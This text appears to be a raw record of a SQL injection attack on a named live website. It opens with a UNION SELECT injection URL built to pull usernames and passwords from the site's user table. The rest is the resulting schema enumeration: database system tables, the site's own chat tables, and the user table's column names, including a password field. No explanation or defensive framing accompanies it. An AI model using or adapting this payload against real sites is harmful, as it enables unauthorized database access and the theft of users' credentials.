http://www.oke.ru/xo4u.php?id=-42708+UNION+SELECT+1,2,concat_ws(0x3a,nick,passw),4,5,6,7,8,9,10+FROM+chausers/*

COLLATIONS.
COLLATION_CHARACTER_ SET_APPLICABILITY.
COLUMNS.
COLUMN_PRIVILEGES.
ENGINES.
EVENTS.
FILES.
GLOBAL_STATUS.
GLOBAL_VARIABLES.
KEY_COLUMN_USAGE.
PARTITIONS.
PLUGINS.
PROCESSLIST.
REFERENTIAL_CONSTRAI NTS.
ROUTINES.
SCHEMATA.
SCHEMA_PRIVILEGES.
SESSION_STATUS.
SESSION_VARIABLES.
STATISTICS.
TABLES.
TABLE_CONSTRAINTS.
TABLE_PRIVILEGES.
TRIGGERS.
USER_PRIVILEGES.
VIEWS.
chamess.
chamess_old1.
charooms.
chausers.
mess.
wants.

idate
nick
email
chalogid
lastdate
roomid
passw